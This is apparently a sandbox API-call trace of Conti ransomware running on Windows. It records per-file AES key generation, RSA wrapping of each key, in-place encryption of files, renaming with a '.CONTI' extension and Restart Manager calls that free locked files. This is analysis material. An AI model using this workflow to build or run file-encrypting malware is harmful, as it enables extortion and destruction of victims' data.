	[0115.803] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.7e")) returned 0x20
	[0115.847] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.7e"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0115.847] GetLastError () returned 0x0
	[0115.847] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=3997464) returned 1
	[0115.847] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3cff18
	[0115.848] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.848] SetEndOfFile (hFile=0x410) returned 1
	[0115.848] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.848] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.848] WriteFile (in: hFile=0x410, lpBuffer=0x6b51964*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x6b51964*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.975] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.975] ReadFile (in: hFile=0x410, lpBuffer=0x12130000, nNumberOfBytesToRead=0x3cff18, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x3cff18, lpOverlapped=0x0) returned 1
	[0118.137] CryptEncrypt (in: hKey=0x6b7f078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x3cff18, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x3cff20) returned 1
	[0118.142] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.142] WriteFile (in: hFile=0x410, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x3cff20, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x3cff20, lpOverlapped=0x0) returned 1
	[0119.864] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.864] WriteFile (in: hFile=0x410, lpBuffer=0x6b51958*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x6b51958*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0119.864] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0119.864] CloseHandle (hObject=0x410) returned 1
	[0119.865] GetProcessHeap () returned 0x1720000
	[0119.865] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.515] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E"
	[0120.515] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E.CONTI"
	[0120.515] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.7e"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7E.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.7e.conti")) returned 1
	[0120.516] GetProcessHeap () returned 0x1720000
	[0120.516] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.516] CryptDestroyKey (hKey=0x6b7f078) returned 1
	[0120.516] GetProcessHeap () returned 0x1720000
	[0120.516] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ad78 | out: hHeap=0x1720000) returned 1
	[0120.516] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0122.430] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f4e0 | out: phKey=0x6b4f4e0*=0x6b7ee38) returned 1
	[0122.430] CryptExportKey (in: hKey=0x6b7ee38, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f4e4, pdwDataLen=0x36ffea4 | out: pbData=0x6b4f4e4*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0123.648] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.002.etl")) returned 0x2020
	[0123.651] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.002.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414
	[0123.651] GetLastError () returned 0x0
	[0123.651] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=8192) returned 1
	[0123.651] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0123.651] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.651] SetEndOfFile (hFile=0x414) returned 1
	[0123.652] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0123.652] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.652] WriteFile (in: hFile=0x414, lpBuffer=0x6b4f4e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x6b4f4e4*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0125.112] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0125.112] ReadFile (in: hFile=0x414, lpBuffer=0x12130000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x2000, lpOverlapped=0x0) returned 1
	[0125.112] CryptEncrypt (in: hKey=0x6b7ee38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x2000, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x2010) returned 1
	[0125.112] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.113] WriteFile (in: hFile=0x414, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x2010, lpOverlapped=0x0) returned 1
	[0129.228] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.228] WriteFile (in: hFile=0x414, lpBuffer=0x6b4f4d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x6b4f4d8*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0129.228] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.228] CloseHandle (hObject=0x414) returned 1
	[0129.564] GetProcessHeap () returned 0x1720000
	[0129.564] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b99ed0
	[0129.564] lstrcpyW (in: lpString1=0x6b99ed0, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl"
	[0129.564] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl.CONTI"
	[0129.564] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.002.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.002.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.002.etl.conti")) returned 1
	[0129.579] GetProcessHeap () returned 0x1720000
	[0129.579] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b99ed0 | out: hHeap=0x1720000) returned 1
	[0129.579] CryptDestroyKey (hKey=0x6b7ee38) returned 1
	[0129.579] GetProcessHeap () returned 0x1720000
	[0129.579] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7ab40 | out: hHeap=0x1720000) returned 1
	[0129.579] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0130.192] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x6b47520 | out: phKey=0x6b47520*=0x17c8170) returned 1
	[0130.192] CryptExportKey (in: hKey=0x17c8170, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47524, pdwDataLen=0x36ffea4 | out: pbData=0x6b47524*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0130.193] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json")) returned 0x120
	[0130.193] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0130.193] GetLastError () returned 0x5
	[0130.193] CryptDestroyKey (hKey=0x17c8170) returned 1
	[0130.193] GetProcessHeap () returned 0x1720000
	[0130.193] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c138 | out: hHeap=0x1720000) returned 1
	[0130.193] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0131.985] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x6b48760 | out: phKey=0x6b48760*=0x17c8230) returned 1
	[0131.985] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b48764, pdwDataLen=0x36ffea4 | out: pbData=0x6b48764*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0131.986] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.log" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edb.log")) returned 0x20
	[0131.986] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.log" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0131.986] GetLastError () returned 0x20
	[0131.986] RmStartSession () returned 0x0
	[0131.990] RmRegisterResources () returned 0x0
	[0132.007] RmGetList () returned 0xea
	[0146.470] RmShutdown () 

Thread:
	id = 148
	os_tid = 0x1304

	[0093.034] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0x8950000
	[0093.034] CryptAcquireContextA (in: phProv=0x37ffd20, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x37ffd20*=0x1745e90) returned 1
	[0093.036] CryptImportKey (in: hProv=0x1745e90, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x37ffd1c | out: phKey=0x37ffd1c*=0x173a710) returned 1
	[0093.037] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0094.641] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x17c5c68 | out: phKey=0x17c5c68*=0x175e630) returned 1
	[0094.641] CryptExportKey (in: hKey=0x175e630, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5c6c, pdwDataLen=0x37ffcec | out: pbData=0x17c5c6c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0094.661] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80
	[0094.661] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0094.662] GetLastError () returned 0x0
	[0094.662] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=495616) returned 1
	[0094.662] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x79000
	[0094.662] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.662] SetEndOfFile (hFile=0x350) returned 1
	[0094.662] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.662] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.662] WriteFile (in: hFile=0x350, lpBuffer=0x17c5c6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x17c5c6c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0094.665] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.665] ReadFile (in: hFile=0x350, lpBuffer=0x8950000, nNumberOfBytesToRead=0x79000, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x79000, lpOverlapped=0x0) returned 1
	[0094.683] CryptEncrypt (in: hKey=0x175e630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x79000, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x79010) returned 1
	[0094.684] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.684] WriteFile (in: hFile=0x350, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x79010, lpOverlapped=0x0) returned 1
	[0094.686] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.686] WriteFile (in: hFile=0x350, lpBuffer=0x17c5c60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x17c5c60*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0094.686] SetFilePointer (in: hFile=0x350, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.686] CloseHandle (hObject=0x350) returned 1
	[0094.696] GetProcessHeap () returned 0x1720000
	[0094.696] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.697] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" | out: lpString1="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi"
	[0094.697] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.CONTI") returned="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.CONTI"
	[0094.697] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.CONTI" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.conti")) returned 1
	[0094.698] GetProcessHeap () returned 0x1720000
	[0094.698] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.698] CryptDestroyKey (hKey=0x175e630) returned 1
	[0094.698] GetProcessHeap () returned 0x1720000
	[0094.698] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0988 | out: hHeap=0x1720000) returned 1
	[0094.698] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0094.703] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x17c4350 | out: phKey=0x17c4350*=0x175e630) returned 1
	[0094.703] CryptExportKey (in: hKey=0x175e630, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4354, pdwDataLen=0x37ffcec | out: pbData=0x17c4354*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0094.704] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80
	[0094.704] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0094.704] GetLastError () returned 0x0
	[0094.704] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=41080) returned 1
	[0094.704] SetFilePointer (in: hFile=0x354, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa078
	[0094.704] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.704] SetEndOfFile (hFile=0x354) returned 1
	[0094.705] SetFilePointer (in: hFile=0x354, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.705] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.705] WriteFile (in: hFile=0x354, lpBuffer=0x17c4354*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x17c4354*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0094.711] SetFilePointer (in: hFile=0x354, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.711] ReadFile (in: hFile=0x354, lpBuffer=0x8950000, nNumberOfBytesToRead=0xa078, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0xa078, lpOverlapped=0x0) returned 1
	[0094.720] CryptEncrypt (in: hKey=0x175e630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0xa078, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0xa080) returned 1
	[0094.721] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.721] WriteFile (in: hFile=0x354, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0xa080, lpOverlapped=0x0) returned 1
	[0094.721] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.721] WriteFile (in: hFile=0x354, lpBuffer=0x17c4348*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x17c4348*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0094.721] SetFilePointer (in: hFile=0x354, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.721] CloseHandle (hObject=0x354) returned 1
	[0094.979] GetProcessHeap () returned 0x1720000
	[0094.979] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7640
	[0094.979] lstrcpyW (in: lpString1=0x17c7640, lpString2="C:\\588bce7c90097ed212\\SplashScreen.bmp" | out: lpString1="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned="C:\\588bce7c90097ed212\\SplashScreen.bmp"
	[0094.980] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\SplashScreen.bmp", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\SplashScreen.bmp.CONTI") returned="C:\\588bce7c90097ed212\\SplashScreen.bmp.CONTI"
	[0094.980] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.CONTI" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.conti")) returned 1
	[0094.980] GetProcessHeap () returned 0x1720000
	[0094.980] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7640 | out: hHeap=0x1720000) returned 1
	[0094.980] CryptDestroyKey (hKey=0x175e630) returned 1
	[0094.980] GetProcessHeap () returned 0x1720000
	[0094.980] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bed60 | out: hHeap=0x1720000) returned 1
	[0094.980] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0094.980] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x17d28d8 | out: phKey=0x17d28d8*=0x175e630) returned 1
	[0094.980] CryptExportKey (in: hKey=0x175e630, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d28dc, pdwDataLen=0x37ffcec | out: pbData=0x17d28dc*, pdwDataLen=0x37ffcec*=0x20c) returned 1
